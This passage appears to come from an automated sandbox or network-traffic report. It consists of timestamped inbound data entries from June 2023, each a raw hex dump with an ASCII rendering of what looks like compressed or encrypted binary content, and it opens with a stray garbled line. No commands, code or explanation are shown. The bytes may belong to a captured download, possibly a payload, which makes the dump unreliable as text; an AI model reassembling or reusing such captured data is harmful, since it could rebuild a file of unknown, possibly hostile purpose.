z9c"J-XTvZN!"_rhLN!zN23&1*sWVCEFz5H6vL
2023-06-07 15:08:48 UTC	2222	IN	Data Raw: 9e e7 79 9e cc b6 a2 90 7c 66 7d 9e e7 79 52 3a 26 0a f8 a8 9e e7 79 de be 06 ca b8 a0 82 74 79 9e e7 79 5e 4c 3a 24 14 f3 3c cd e7 06 f0 a7 dc be ae e2 f3 3c cf 92 7c 6a 56 46 ab cf f3 de 9d 97 ee a3 4e 06 cc 0e b4 a2 8e 79 ef 69 3e 00 a4 6c 5a 06 4a 46 3a 4f 79 9e e7 2a 04 16 80 01 f3 bc cd df 33 55 0d 42 f6 8d 2d 01 06 2f 45 b3 d9 3c cf 23 17 51 2a 1f 29 43 e7 79 36 cf 17 01 28 eb 7f 97 bd e7 79 9e df bb af d3 c7 46 2d 3c ef e9 de 66 86 2b 0f 51 77 06 53 5f de 77 67 f3 6b 2c aa 1e 01 28 06 3f 79 9e e7 79 4b 57 a7 b3 ca f3 6c 9e e7 d6 e2 f8 01 0e 1a cf f3 3c cf 26 32 3e 4a 56 62 3c cf f3 3c 6e 7a 86 a1 ad f3 3c cf f3 b9 c5 d1 dd e9 e7 79 9e cd f5 02 01 0d 19 25 9b e7 79 9e 31 3d 53 69 c1 03 19 3c cf f3 3c 30 57 7e a5 cc 79 9e e7 d9 04 20 5d b7 c3 cf f3 Data Ascii: y\|f}yR:&ytyy^L:$<<\|jVFNyi>lZJF:Oy3UB-/E<#Q)Cy6(yF-<f+QwS_wgk,(?yyKWl<&2>JVb<<nz<y%y1=Si<<0W~y ]
2023-06-07 15:08:48 UTC	2238	IN	Data Raw: f1 db df 6f fe 53 85 46 2d d7 2c 18 2e 58 ab 74 09 92 a1 97 ff ff ff 3f 78 ee f0 11 64 c8 91 a4 4b 9c 42 a9 9a 45 4c 9b d6 a7 d5 6c 99 b2 74 07 06 ff 7f fe ff 5c a7 10 a6 52 b3 a6 dd 2d 0a ed 15 28 45 75 b9 0e a3 50 b3 aa 2d e6 79 8f 17 29 fe ff ff ff 46 74 28 8b 1e 3d f9 4e a4 53 c3 36 db 0c 26 2a 10 e9 d7 b0 25 17 12 e5 4b f5 cb 6f ac 1c c5 ff ff ff 6f f0 21 54 d2 6c a7 4c 26 8a 4f ef e3 c8 f3 7c 32 26 9c 24 af 4c 76 90 4b 47 6e 47 53 ff ff ff ff ed e6 1e 75 4d 9a ce 5d ba 9c 4b d7 b1 fe 63 f4 45 a9 bb 79 ef 98 88 89 af c8 ac 53 e8 f3 f0 8f ff ff ff ff db f9 d4 6c 3d 44 75 aa f6 c4 df 8f 7c 0f aa 72 f6 31 14 8c 6e fc 15 78 dc 21 bb 04 88 10 3a a6 ff ff ff ff f4 65 e0 83 bc d5 11 8a 5d 0a 0e 54 4c 23 10 66 d8 db 21 c1 54 f8 ce 2a 79 68 28 e2 6e 79 ac 12 Data Ascii: oSF-,.Xt?xdKBELlt\R-(EuP-y)Ft(=NS6&%Koo!TlL&O\|2&$LvKGnGSuM]KcEySl=Du\|r1nx!:e]TL#f!Tyh(ny
2023-06-07 15:08:48 UTC	2254	IN	Data Raw: a6 0d fb aa db ff 28 a1 d6 6e c4 a7 c4 ef f1 26 14 11 13 6f 7a 46 2f f2 86 8c 56 ff ff ff 7f 1c 6f 38 56 c6 5e f4 26 0b 27 99 c6 71 32 78 c3 62 24 ef 24 c9 78 65 1d b7 c1 ba d1 b0 12 24 ff ff bf e0 ca b0 e2 cc 11 42 de 54 c8 24 bd dc 8d ff 5a 98 cb de e8 ad 24 24 db 0d 16 95 7e 73 d3 fe e8 8b de 50 01 25 46 14 27 c9 dd 70 47 9c 64 1d 2d b9 ff ff 2f 14 28 44 91 b0 19 45 1d 45 f1 48 94 08 32 36 84 2c a3 21 d7 88 92 ff df 48 e2 3d ee 26 a2 44 6f 00 69 12 34 f1 66 10 75 fe 44 de ff ff ff ff 6e 42 76 12 79 f2 26 78 6d 3c 27 6c e0 59 92 75 5e b0 8e d1 8c cd 14 4d d2 8a e3 4c b3 85 b5 38 ff ff ff ff 0e ef 4a d2 8b 5a 8a 26 13 65 14 63 6c a2 90 b3 93 a0 a1 37 a4 bb a1 21 7a 83 c9 94 d8 6c 37 f8 f0 ff 6f f8 0b e2 dd 62 c3 7e 34 8f 37 35 0c 62 0e 7b 53 a6 94 68 e2 Data Ascii: (n&ozF/Vo8V^&'q2xb$$xe$BT$Z$$~sP%F'pGd-/(DEEH26,!H=&Doi4fuDnBvy&xm<'lYu^ML8JZ&ecl7!zl7ob~475b{Sh
2023-06-07 15:08:48 UTC	2270	IN	Data Raw: b2 08 b0 dc 91 51 df 5d 89 4c 26 47 78 3f a5 82 c6 ff ff ff ff 79 76 00 a8 d5 31 80 08 26 c5 23 ee 0a d5 4b 8a e6 29 b2 18 30 77 00 26 86 8f 47 65 e2 e0 74 47 ff ff ff ff 0c ab d5 2e 6f f8 25 87 2d 4a a5 32 46 77 60 30 7c 97 2d 66 dc c1 ad 52 b6 c8 d1 dd 1d 8e de 25 ff ff ff ff 8b 8b 4d f5 b2 1d 77 96 78 48 94 30 82 70 b7 85 7a 26 0b 75 0c be d2 d9 d1 71 cb 40 1d 93 f2 74 ff ff ff ed 99 d0 2c 30 23 23 f7 45 2e 3a 07 c5 4b c2 d2 19 12 74 50 b3 88 21 5d 13 ab 1c 0d 94 29 ff ff ff ff e0 f2 86 87 d3 40 55 32 1d 29 54 fb a4 8d 1f d2 d1 91 b5 4f ba 3c 8c dc 28 5f f7 34 0a b3 bb d9 fe ff ff ff 51 76 4f 87 48 67 ed da 39 ed 22 76 6f 83 c0 bd 53 27 c8 69 01 b4 fe dd 39 e1 81 5c 25 7c e7 ff ff ff 3b 74 64 bd b5 11 78 4e 30 f3 86 ee e1 33 c9 12 35 6c 8c 30 7e 53 e2 Data Ascii: Q]L&Gx?yv1&#K)0w&GetG.o%-J2Fw`0\|-fR%MwxH0pz&uq@t,0##E.:KtP!])@U2)TO<(_4QvOHg9"voS'i9\%\|;tdxN035l0~S
2023-06-07 15:08:48 UTC	2286	IN	Data Raw: f6 45 18 97 d8 e4 a1 98 89 53 09 ed 76 86 1d ff ff ff bf 08 05 8f b7 fc 07 51 58 f1 cd 05 e9 05 26 1a c8 e4 3d 64 c2 cc 78 1e 08 3a 70 b1 09 42 2c b9 f1 ff ff ff c0 67 50 04 28 ae 1c 68 88 24 c3 15 96 18 c4 23 49 1b 06 42 5c 22 16 fb 6c b4 45 9a ff ff af 30 36 40 82 c6 54 dc 43 24 38 11 0b e4 6a 7a 23 dd 30 46 2f 6c e1 bf 98 30 fc 0a 53 7c e2 12 93 26 4e 07 34 90 e1 0d 78 1d 22 fe ff f0 83 21 1a 11 89 49 58 82 14 b1 f0 45 8e 4f d5 45 54 d2 53 63 07 04 2f 31 00 ff 1f 99 65 27 c0 78 21 db 85 1e f0 90 67 44 a4 d8 45 1b 05 93 09 64 38 ed 1e 27 ac 90 c2 18 5c 5f 90 31 ae 0d fb 69 19 88 31 0c 25 3b 63 a6 e0 02 51 09 3d ac c7 18 63 49 06 56 4a 5f 21 e2 6a 0b 75 68 36 56 1b d8 ff f5 b0 87 88 dd 3d f9 86 fb 4e 31 31 12 c4 26 8b d4 54 d2 31 6f 23 a0 c0 8a 89 95 93 Data Ascii: ESvQX&=dx:pB,gP(h$#IB\"lE06@TC$8jz#0F/l0S\|&N4x"!IXEOETSc/1e'x!gDEd8'\_1i1%;cQ=cIVJ_!juh6V=N11&T1o#
2023-06-07 15:08:48 UTC	2302	IN	Data Raw: 80 64 88 9e bc 1e 80 d3 7a 02 16 d9 da 36 78 1d 02 0e cc 00 15 cb 23 0b fa 9b d5 aa 3e a0 3e 6a f2 47 20 24 40 56 21 29 bb a1 0b 78 64 31 ae 1b 8a 34 24 1f 9c 0c 9b 99 68 60 8e 68 cc 16 32 62 20 da 3d 80 5f a8 b4 38 80 22 60 3e ae 2f c0 a3 a8 0c 20 fe 5b 70 9c 60 2a 60 79 a3 b7 f7 60 30 e2 8e 74 96 06 23 67 c0 b2 7e ff f7 66 e5 dd 60 ce 60 eb 60 38 a1 09 36 56 a1 25 a0 73 a1 42 20 9b 0a 38 35 8f 18 ee ae a6 22 24 b8 06 c5 ae 02 9c 14 74 f2 1a 1a 98 05 58 52 40 20 d4 38 35 56 7e 00 de 7b 10 46 ce 66 5c 6c 06 31 82 8a a6 95 c3 e1 11 68 9e 9a ec 0b 81 e0 86 1c 42 32 44 3a fc be 3d 0a de f0 77 36 26 69 0c 22 cd 60 1d 90 44 dd 41 31 e6 24 e1 0d 45 d6 72 48 0e 20 4c c4 21 8d 22 6e 98 29 12 bd 66 25 99 24 93 ce 62 8d 82 5b 17 1b 34 82 94 d5 45 e3 d8 a0 50 e1 b8 Data Ascii: dz6x#>>jG $@V!)xd14$h`h2b =_8"`>/ [p`*`y`0t#g~f```86V%sB 85"$tXR@ 85V~{Ff\l1hB2D:=w6&i"`DA1$ErH L!"n)f%$b[4EP
2023-06-07 15:08:48 UTC	2318	IN	Data Raw: 96 f2 7e 00 44 a0 06 46 86 21 fb 4c 86 e1 3b 6c 86 04 44 2f 46 c6 6e 86 6e dd de b6 13 87 a1 8c 52 e1 08 8c d0 59 a6 f0 df f0 ff 40 c5 20 40 c2 6c 81 24 e2 1a 6d 02 a0 3a 4e 43 01 3c 34 ef 02 ff b1 7d 2b da 14 9d 05 8c 2e b0 65 20 9e a0 61 68 a2 20 c5 7f 41 85 42 89 34 a0 6d e1 07 a9 c1 c1 41 32 92 b7 f6 23 47 e1 ba 24 17 8b 05 63 4e 63 00 e0 5c 8b 98 40 51 d3 00 61 4c 32 80 72 52 fc 00 14 40 32 c6 62 a1 d0 a6 ef 37 5f e0 b0 50 a6 02 62 2f 42 2f ec 02 69 6f 64 98 a1 7f 38 26 8d d1 82 d1 b4 5a 60 7c 02 17 41 6f ff 43 79 63 26 b8 05 22 68 6c 22 2c 80 11 52 1b 7d 00 dd 5f 0a a6 48 f2 16 e0 26 41 00 4b 15 31 02 ac 7c 95 31 6b 2b 34 6a a1 3c ff ff aa 8b 4a 42 43 4c e1 0d 72 04 6a 2f 4a 2f 43 21 74 40 5c e1 1a 72 c1 20 6a ff 06 68 2f 48 2f 4b 2f 6b c2 78 04 d2 Data Ascii: ~DF!L;lD/FnnRY@ @l$m:NC<4}+.e ah AB4mA2#G$cNc\@QaL2rR@2b7_Pb/B/iod8&Z`\|AoCyc&"hl",R}_H&AK1\|1k+4j<JBCLrj/J/C!t@\r jh/H/K/kx
2023-06-07 15:08:48 UTC	2334	IN	Data Raw: 17 41 22 55 cc 2a 4b 22 44 22 68 5a 86 6f a8 fe 61 35 01 28 21 2c 25 c8 bc 0e ec 19 3f fb ff 6b e0 ec 03 01 41 c1 20 1b 61 50 2c 6e 72 44 79 a0 1a ed 4a fc 57 96 65 00 72 c0 57 30 fa c0 46 1e 2b c7 23 56 3f c7 7f 55 d3 31 35 18 22 86 38 40 e8 21 3e a1 88 9d 0e e2 80 01 10 7c e2 00 82 2d a6 6c 1a 77 12 f8 07 04 2e 4b 3a 26 0c 01 5e 69 c0 24 43 65 1c fc 28 1a 42 ac 5d ea a8 04 62 be 10 7a 91 6a 70 2c 73 6e f1 5c 43 56 8e 66 91 55 09 e0 0f 3e 4e 21 88 2b 51 96 25 6a 51 41 33 b2 9d aa 94 c6 50 03 7f 04 85 bf ba 4d 99 49 e7 06 c0 05 25 87 a4 27 f5 cd 78 d3 bc 03 82 65 7d 27 b9 94 2e 27 31 03 2c bf 93 fa df ee 3d 22 3c 62 f1 28 c2 21 d4 43 7a 74 a7 1b 40 88 28 6e 09 2b b6 5e c2 69 81 74 25 aa 70 28 88 16 5a c8 80 1d 58 a0 d5 fa ab 7a 29 25 f9 02 d6 80 88 2e 05 Data Ascii: A"U*K"D"hZoa5(!,%?kA aP,nrDyJWerW0F+#V?U15"8@!>\|-lw.K:&^i$Ce(B]bzjp,sn\CVfU>N!+Q%jQA3PMI%'xe}'.'1,="<b(!Czt@(n+^it%p(ZXz)%.
2023-06-07 15:08:48 UTC	2350	IN	Data Raw: c7 57 5a 92 23 e8 4b bb 02 16 37 07 48 a8 be 6c d2 e0 09 43 c2 78 6c fc c0 85 00 59 23 0e 7c 41 d9 37 08 05 57 8c 2b 60 df 12 30 82 61 61 12 bc a9 0a c6 63 2f a6 59 10 94 bb 40 a6 2b 45 15 2c 82 c1 58 ae a1 81 55 af 83 40 68 6e 22 e2 a9 0d 81 09 5a 1c 7c 6b b6 16 d0 21 45 74 65 4e 72 ff 22 78 83 02 6f ff 77 ac 0f 9f 40 6e 40 67 f5 00 1d c0 6a cc f1 09 55 50 4a 57 51 4f ec d2 57 20 f2 07 86 ff ed 58 f2 e8 4b 28 48 60 db 20 9f e2 1c 42 10 1a 42 d1 f0 ff 37 52 c0 a5 21 f4 e2 2c 3f 60 7d 22 3d e0 19 d4 88 44 46 13 ff 07 44 7d 21 58 62 12 e1 09 e2 0a 51 0d e1 88 25 94 56 5b 90 80 89 63 d1 12 bc 6c 41 2b a0 2b 26 69 66 6c e2 64 f8 ee 90 ec 66 d2 6b 81 f0 44 90 58 26 c8 d1 74 f1 2b dc 6d 40 32 e2 01 ea 4e 46 b0 44 20 16 7d a7 04 e4 03 81 25 5b 2c 64 56 9c 00 be Data Ascii: WZ#K7HlCxlY#\|A7W+`0aac/Y@+E,XU@hn"Z\|k!EteNr"xow@n@gjUPJWQOW XK(H` BB7R!,?`}"=DFD}!XbQ%V[clA++&ifldfkDX&t+m@2NFD }%[,dV
2023-06-07 15:08:48 UTC	2366	IN	Data Raw: 2c 6b 03 fa 47 49 32 7d 80 6c 3b 72 f8 37 e1 37 ca 2c 82 80 d3 2e da 8a 7d 70 78 2c 2c 66 80 df 01 0c 36 4c e4 c4 88 2e c2 2f 78 cc 68 21 68 24 91 55 cd 9b 31 3e 4a 9d 6e bc 15 c0 ec 0b 3c 85 3a b6 32 52 9c ce 26 09 18 50 c5 80 1a c2 23 2e 7d 05 e4 68 2c 50 16 22 21 4b e0 0a 53 b0 c0 32 bf 0e 4a 41 ad ee 00 50 f0 e4 02 4e dc 74 83 ec 24 72 52 08 45 5d b9 80 54 d1 f8 55 18 59 5f 9f 25 49 39 9e 28 81 a0 5f 2d 58 80 34 a7 22 df 03 f2 04 f4 b8 e2 64 6d 58 a2 a4 08 e0 f8 57 19 38 da b0 60 21 70 02 65 55 70 3b 12 ff 81 f0 3f 44 39 90 c0 a9 e0 0e c8 03 90 80 32 01 5f 75 60 33 0b 4c 0b 84 02 8c 30 46 58 16 57 02 d2 87 0e e1 6f 6e 4d 30 74 5c 1a 52 6a 11 8d dd 46 5f 6d 1e 0f 4d 10 36 5a bf d6 66 2d 9a e0 24 a4 3e 18 a3 ee db 45 d5 96 6b 72 79 40 1b 44 53 20 a5 69 Data Ascii: ,kGI2}l;r77,.}px,,f6L./xh!h$U1>Jn<:2R&P#.}h,P"!KS2JAPNt$rRE]TUY_%I9(_-X4"dmXW8`!peUp;?D92_u`3L0FXWonM0t\RjF_mM6Zf-$>Ekry@DS i
2023-06-07 15:08:48 UTC	2382	IN	Data Raw: 3c b0 f1 25 40 52 04 7b 32 0a 48 ca df 35 20 51 e0 01 5d 07 2c cd 04 36 1c ee 7d 67 40 d8 f8 c8 24 06 40 4e 40 7e f9 f3 e5 11 7f 43 05 2f 50 02 47 e0 02 99 04 92 f2 0a b4 04 68 83 34 05 36 82 0c 24 4e e5 1f f2 c9 20 26 88 80 3d 74 00 52 2f d2 03 03 1b 05 67 c3 03 00 02 86 cd f3 95 91 30 66 3d 21 45 20 b2 3a a0 5e c9 80 34 b7 77 40 50 03 1b 95 02 78 30 89 eb 79 e5 4d 2b 64 60 33 05 53 40 77 02 40 02 1b cd 21 e2 ce 46 88 10 80 51 9b ca 7d 61 fa 3c 0b 6c 3c 4a 02 8a 21 08 5b 60 e3 0b d0 1c e4 8d 62 00 22 b1 45 c8 70 5b 88 5e a3 5c 03 2f 2a 72 83 6a 94 de 42 0f 03 52 65 1a cc 15 8b 48 14 78 be dc 65 a0 36 03 12 f8 02 0b 4c db 35 27 3f 22 42 48 fa 77 5e 63 43 9b e4 00 1f 34 69 2a 66 ab c3 f8 19 20 27 34 90 e2 85 22 f0 66 60 c5 36 f2 3e 8b 81 78 27 a7 c0 2f 5b Data Ascii: <%@R{2H5 Q],6}g@$@N@~C/PGh46$N &=tR/g0f=!E :^4w@Px0yM+d`3S@w@!FQ}a<l<J![`b"Ep[^\/rjBReHxe6L5'?"BHw^cC4if '4"f`6>x'/[
2023-06-07 15:08:48 UTC	2387	IN	Data Raw: ad ff 77 10 ae 5c 03 27 69 6e 27 3a e3 27 02 29 a4 a2 ae 92 54 5c c0 3c 6e 2d c0 e2 0e 52 4d 5e 5f 34 ce 60 ad ad 2a c4 06 28 21 4f 7e 40 4a 25 c1 40 85 a0 b0 aa 04 19 62 43 41 ea f8 67 b0 a1 42 46 a2 60 fa 4b 48 77 40 50 1c 72 e7 00 da 30 f5 0d 92 5c cc 41 38 60 8f 54 09 8b 20 ac 1a 27 bb 00 43 3e ea 3b 89 66 3a 6c 7e 64 2c d1 08 2e 98 f4 df 4d 26 60 7b 30 60 29 54 41 60 2c 02 8b 12 5c 24 c4 01 09 1e 28 85 ff 5f 71 e9 45 87 cc 3b f8 40 e2 e0 16 29 20 ab e6 12 f4 b7 86 92 29 7c 32 78 4a 0d a2 ec 8f 03 7d 8e 80 90 c0 a2 7f 0e a1 65 80 81 7a 7a e0 09 64 0e 72 a7 01 c5 4d 50 6c 27 ed 1a 56 80 d4 ad 6a 05 66 56 21 50 e1 18 0b 28 24 76 a4 37 ca 40 79 8e 04 75 03 8b 60 0a 4e 82 02 7c 22 5d 75 e2 0a de d1 b0 62 1e 84 72 ff 61 41 a9 a1 d8 83 ce 65 18 44 98 af a1 Data Ascii: w\'in':')T\<n-RM^_4`*(!O~@J%@bCAgBF`KHw@Pr0\A8`T 'C>;f:l~d,.M&`{0`)TA`,\$(_qE;@) )\|2xJ}ezzdrMPl'VjfV!P($v7@yu`N\|"]ubraAeD
2023-06-07 15:08:48 UTC	2403	IN	Data Raw: f1 2c db 83 2a 94 d0 fe 15 82 58 6c c9 83 88 6a d4 30 52 0d e0 5f d1 ae 80 e1 19 6e 78 59 be b2 c1 79 40 60 e3 21 40 6e 4e 50 ff 14 06 40 80 fc 43 01 08 04 fc 41 fc d9 c0 5d b0 88 73 93 59 70 25 d4 b0 e8 89 c2 22 50 9e 72 53 63 a6 e1 df d0 f6 4f 5c fa 06 bf a3 9d fa 0c c8 2c ee 1d d8 37 e3 cc 41 e8 ea e1 14 ef a1 eb 0e e8 54 37 f5 8a bf ea f1 20 b0 60 a1 80 37 02 f2 f4 a4 d6 28 fd b7 0d 78 bd e4 06 51 3a e4 0e 0a 0a 70 a0 c7 41 d0 85 42 a5 a6 b4 48 b6 f6 17 c9 52 50 22 8d 59 f8 1f 04 ac e4 47 ee ab 41 80 70 ea 40 75 e0 5b 53 20 53 eb 1b 47 0e 24 96 d4 28 5c 22 66 34 06 4a 34 d2 7f fa af 96 73 21 24 60 14 81 77 43 2f 42 16 45 c1 71 eb 02 a8 df 9b 9c 84 0c 32 ea 0f ec 8c 17 ea 10 ab ae 2c dc 50 ea 07 f4 dc 07 76 2b e1 42 e1 df f6 48 94 84 67 c4 b0 c0 9c e1 Data Ascii: ,*Xlj0R_nxYy@`!@nNP@CA]sYp%"PrScO\,7AT7 `7(xQ:pABHRP"YGAp@u[S SG$(\"f4J4s!$`wC/BEq2,Pv+BHg
2023-06-07 15:08:48 UTC	2419	IN	Data Raw: 5c 3f 4a fa 6a 3d 7b 34 c4 25 93 56 f2 04 f0 03 08 d4 9c 63 32 72 02 11 8c 97 d5 54 2e e4 b2 2b b2 01 bc e0 7f 3a 7b 21 57 52 0e 03 7b 73 63 8c 3a 37 94 00 2e 09 7d 35 5b 38 20 5b b4 65 7a 4d eb df 6c 21 bd 36 9e 2b eb 2d c0 e6 02 17 ff d6 04 60 86 5f 32 2a 00 4c 4d e7 e0 03 a8 8b 76 fe 26 a0 17 21 2a a0 09 62 91 20 4e 93 fa 17 40 a4 32 53 4c d9 e0 1f 3b 6d 06 5b b5 c3 92 36 18 97 20 ac 0f 01 d2 a1 a4 47 61 8f ef ec e1 3a 9b e2 bb 79 bf 20 1e 40 0f 6f d0 22 b1 8d d8 cc af 2b 84 d2 92 1b 1a 50 08 ff 1b 0d b6 39 4c 7d 21 61 40 ec c0 8c 0a 41 01 ec 20 19 bd b7 6f b1 c8 21 9d 82 d0 bc 34 38 e0 27 47 aa 4e b9 2d dc 01 8a fa 26 a4 e0 bc bf 04 b4 76 ae 80 a6 01 eb e0 1a 2c 18 9c 78 35 08 fc c0 f1 e0 72 ae ee 00 c9 01 fc 17 01 84 c1 0f e0 45 54 21 1d 43 e6 6a 61 Data Ascii: \?Jj={4%Vc2rT.+:{!WR{sc:7.}5[8 [ezMl!6+-`_2LMv&!b N@2SL;m[6 Ga:y @o"+P9L}!a@A o!48'GN-&v,x5rET!Cja
2023-06-07 15:08:48 UTC	2423	IN	Data Raw: 36 38 1a 00 ff 86 3b 28 21 82 b0 34 24 ea 0b a5 80 23 22 d4 24 ed 94 9a ca 6e 20 7c 59 00 f5 32 00 33 0a 03 e6 c4 d5 d0 bf 1c c2 5c 21 b9 e1 09 b3 80 2c b1 80 10 04 d5 ab 91 c6 b6 9b c6 06 c1 8b 6e 1a a0 47 c3 84 66 67 ea 3f be 28 e3 57 5b c2 2f a0 76 13 e7 02 f9 c7 d6 71 d1 05 77 72 7d a7 24 fe 6c 88 08 50 e7 00 99 04 e1 7f a2 5c c0 61 22 bf 42 e6 c0 81 86 2f d8 4a 47 0b 7a e7 03 e1 a0 17 fc a9 e8 22 a9 89 72 62 d3 fe e7 05 d3 42 4b 02 a1 a2 96 2a 5e 05 08 54 4b a8 49 29 52 91 64 b8 49 21 fd 6a e0 17 29 bd bd 13 ce 1b 61 43 38 86 a0 c6 60 de eb 5f 69 e8 2e 38 4b e0 25 92 c0 79 e2 01 26 04 da b4 46 76 a9 f8 03 50 38 0d 2f 80 20 1a 48 e8 06 9c c1 34 06 7a 01 f0 e6 16 c8 b3 44 eb 02 36 48 67 20 b8 03 10 14 1d 28 7a 6c b0 22 b2 d7 bb be 41 52 27 70 28 d3 32 Data Ascii: 68;(!4$#"$n \|Y23\!,nGfg?(W[/vqwr}$lP\a"B/JGz"rbBK*^TKI)RdI!j)aC8`_i.8K%y&FvP8/ H4zD6Hg (zl"AR'p(2
2023-06-07 15:08:48 UTC	2439	IN	Data Raw: ed 2b b2 44 41 78 62 24 2e 51 a6 86 f0 58 88 1d ae 20 0a 58 26 17 1a 0c 10 7c 1c a2 6c 0e 42 77 6c 32 30 81 58 68 22 bc 6a 5d 84 3a 8c 96 d8 21 ce 41 bf e3 5d f0 a0 21 01 32 fc 53 48 55 8e da 86 70 2d ac 40 58 45 e8 6f 10 fd 65 01 31 2b 31 83 b8 c0 65 07 04 32 2b 43 4e 63 bb e1 05 a8 3e 55 02 33 16 26 cf 1f 75 01 37 e0 6b 29 65 a6 2c 92 2c 25 c3 4a bc a9 e1 65 14 02 fc 49 e0 42 51 26 02 b0 bf 98 7a d5 cd 20 ca 68 42 30 4b e6 e4 83 6c 49 92 29 a3 1b d1 81 d0 76 19 52 c8 40 36 ca e8 0a 53 05 a4 11 30 03 6b 43 ea 6f 58 08 a8 99 27 22 6b 48 24 99 08 41 2c 02 0b b0 aa d0 79 18 70 42 f6 62 dc d8 8a d0 49 10 5b 8c 10 58 48 68 fc 95 80 42 54 e4 6b 5f 07 47 49 2c 69 bf 18 a2 17 be 49 46 62 85 68 5e 19 01 52 31 41 bc fd 15 bf e3 2e d4 81 1e fd 2b 55 89 ba 80 32 4a Data Ascii: +DAxb$.QX X&\|lBwl20Xh"j]:!A]!2SHUp-@XEoe1+1e2+CNc>U3&u7k)e,,%JeIBQ&z hB0KlI)vR@6S0kCoX'"kH$A,ypBbI[XHhBTk_GI,iIFbh^R1A.+U2J
2023-06-07 15:08:48 UTC	2455	IN	Data Raw: 05 78 32 11 20 7d 6e 73 c3 8a 64 a9 95 40 07 f4 0b 94 a0 0b fc a7 70 11 a8 32 5a c6 e4 5a 7c 05 32 4a d6 28 fd 03 a2 4d 44 7b e9 81 a5 a8 86 40 d0 04 35 e1 33 9b 7f 56 f0 86 53 98 c6 76 b3 26 34 7a 72 6e 75 a7 6c b8 77 a3 40 0c 1e 57 aa 41 8b 10 8c 5f f1 57 d4 df 0d fa 34 60 89 77 d7 5b 64 aa ed a8 4e a8 e8 02 51 6b ea 51 d8 33 40 91 71 11 50 55 34 1f 12 2c 01 fc 05 2c 3e 37 ff c0 37 58 29 7f a0 9a 5e f2 7a 98 3e 57 e4 ec e4 71 c0 29 53 b5 be 08 ff 7a 3d 54 01 35 42 5e ff 50 4d 6d 48 74 85 40 74 03 0c 7d 6a 81 95 c0 28 60 82 30 d4 ff 9a f4 ff 44 4b 56 20 5e 03 48 4d 69 48 54 00 e8 41 6d 60 55 30 74 02 5f 81 e6 ee 4b 47 5c c1 03 38 4c e1 83 1f 05 1a 37 80 f5 ae 3a 34 0d 35 b5 80 f8 20 33 ba a0 20 38 cc 6a bc 41 0d 56 7e 2e 23 c0 51 2f 22 c7 02 2e 00 36 20 Data Ascii: x2 }nsd@p2ZZ\|2J(MD{@53VSv&4zrnulw@WA_W4`w[dNQkQ3@qPU4,,>77X)^z>Wq)Sz=T5B^PMmHt@t}j(`0DKV ^HMiHTAm`U0t_KG\8L7:45 3 8jAV~.#Q/".6
2023-06-07 15:08:48 UTC	2471	IN	Data Raw: 26 5f 16 e0 69 51 70 25 68 9d 17 6e 8a 63 b9 57 60 ec 10 8a 57 ce 27 26 82 3a b6 8f 1f 44 37 4d 20 a4 5d 70 27 98 da 69 81 5d 60 62 27 75 e5 77 ad bd 16 aa 66 49 27 49 44 17 aa b6 4f 3d b1 db 27 91 69 b4 c1 5a 67 c8 b7 5b b5 39 60 6c 17 a1 37 69 05 a7 58 a8 ec cf 5b ca 70 61 39 96 58 27 d2 de 11 18 d6 25 4f 02 c3 56 03 5f 37 56 ad 80 5b 91 37 43 0f 5d 0e 46 a2 ae 17 2d 9a 5e 73 ce 30 c1 0b e7 6f 6b b8 0f 32 a6 77 67 98 ea df 41 53 4c 0f 75 d8 c4 cf e8 65 d1 2f 56 00 19 70 b7 e0 57 3f 26 1e 9e e6 71 0a 3b 0e 10 94 ca b1 15 2b ce 1c 10 2b 1f 74 61 73 d4 d3 57 60 16 d2 68 27 72 7d 10 ac de 12 d4 d7 e2 a2 01 46 50 64 8d 7e c4 a9 30 30 dc 22 20 1e 7c 33 a3 db 3f ba ae 63 bf 2d 58 34 30 30 32 50 4d 53 83 b1 47 fb 01 33 73 3f 4d 54 3d d8 ba 46 2f 3f 0c 1d 2a 26 Data Ascii: &_iQp%hncW`W'&:D7M ]p'i]`b'uwfI'IDO='iZg[9`l7iX[pa9X'%OV_7V[7C]F-^s0ok2wgASLue/VpW?&q;++tasW`h'r}FPd~00" \|3?c-X4002PMSG3s?MT=F/?*&
2023-06-07 15:08:48 UTC	2487	IN	Data Raw: bf 63 08 c9 a7 41 61 2f 08 76 fd 67 0f 07 5c 14 33 26 a6 91 3c df ef d1 da 08 b1 99 0f 2c fd ef 15 03 fe 4f 3f 33 01 b3 3f b7 6d db b6 15 60 ec bf 04 a6 3f e9 a2 8b 2e ba e8 96 2f 26 1c 3e e4 1f f6 04 9f 3f 5f 4f ec c4 4e ec c4 91 24 72 78 6f 0d 2b df 00 a8 87 3f 9a 99 8c 3f bf d1 4f e1 60 0d ff df 0f 29 24 bf e0 86 40 de d7 bd 32 62 08 0c 82 c7 60 c0 be ff c0 ff e4 c8 59 20 1f a1 bc 09 c0 16 02 79 c3 3f 09 40 e3 27 27 37 84 5f bf bf bf 04 c3 44 21 e0 6f d3 22 c2 6d 1f 37 5d 9f 8d 61 62 0a af 78 7f fe db 75 30 9c 2f b9 ce 0f 40 67 67 b9 e7 32 bd 9f fe 7f 35 a2 4c 23 8c 46 3d 4a 34 07 37 e0 a2 a8 3a 45 e1 e9 40 98 82 ef 3a af 33 3f 3d 4f fc 81 50 75 35 9f 80 2f 31 20 14 cc 1f 3c 6f 7f 0e 61 19 70 0f 4f 0f 06 ff 16 6e 1b 3f 0f 38 8f 30 67 c7 45 28 1a f0 93 Data Ascii: cAa/vg\3&<,O?3?m`?./&>?_ON$rxo+??O`)$@2b`Y y?@''7_D!o"m7]abxu0/@gg25L#F=J47:E@:3?=OPu5/1 <oapOn?80gE(
2023-06-07 15:08:48 UTC	2503	IN	Data Raw: d6 3f 21 64 1e 38 b1 3f 0c 17 22 59 95 4e bf c1 14 de 1e 2d 48 46 87 cc 3f 30 5b 05 11 91 16 f1 77 fc e3 64 3f 20 63 66 ec e6 a3 3f e3 da e9 0d bd fd ff cd fa 3f 06 ca 1d 1f ae a8 af 3f a2 2d 5b 8c bb 36 ae a5 f7 88 4e b8 04 05 00 36 cf fc 8f 82 7f d9 5d 93 a8 e2 dd 83 6f a3 9e 27 5a 07 34 aa 3f fe 43 fe 31 bf 65 2d 43 53 01 a7 02 46 1a 89 ef 03 9d fe bf 8b 92 f8 2c d6 d9 77 ca 3f 28 46 5f b3 65 a2 97 15 4a 11 3b 0e 58 32 b8 ce 09 a8 a0 88 ff d9 8f b5 e3 88 8f 3f ea 1c 24 b1 ff 7f c1 2f 3e 8e 2f 56 f3 57 8f 9e 23 a7 28 c0 0f 37 c7 3f f0 f9 b7 20 4c f4 80 09 51 2b fe 3f e9 68 43 21 aa df 9e 63 18 15 bf 7d db 60 b4 79 2e bb 2d 17 8e cb 1e 58 31 55 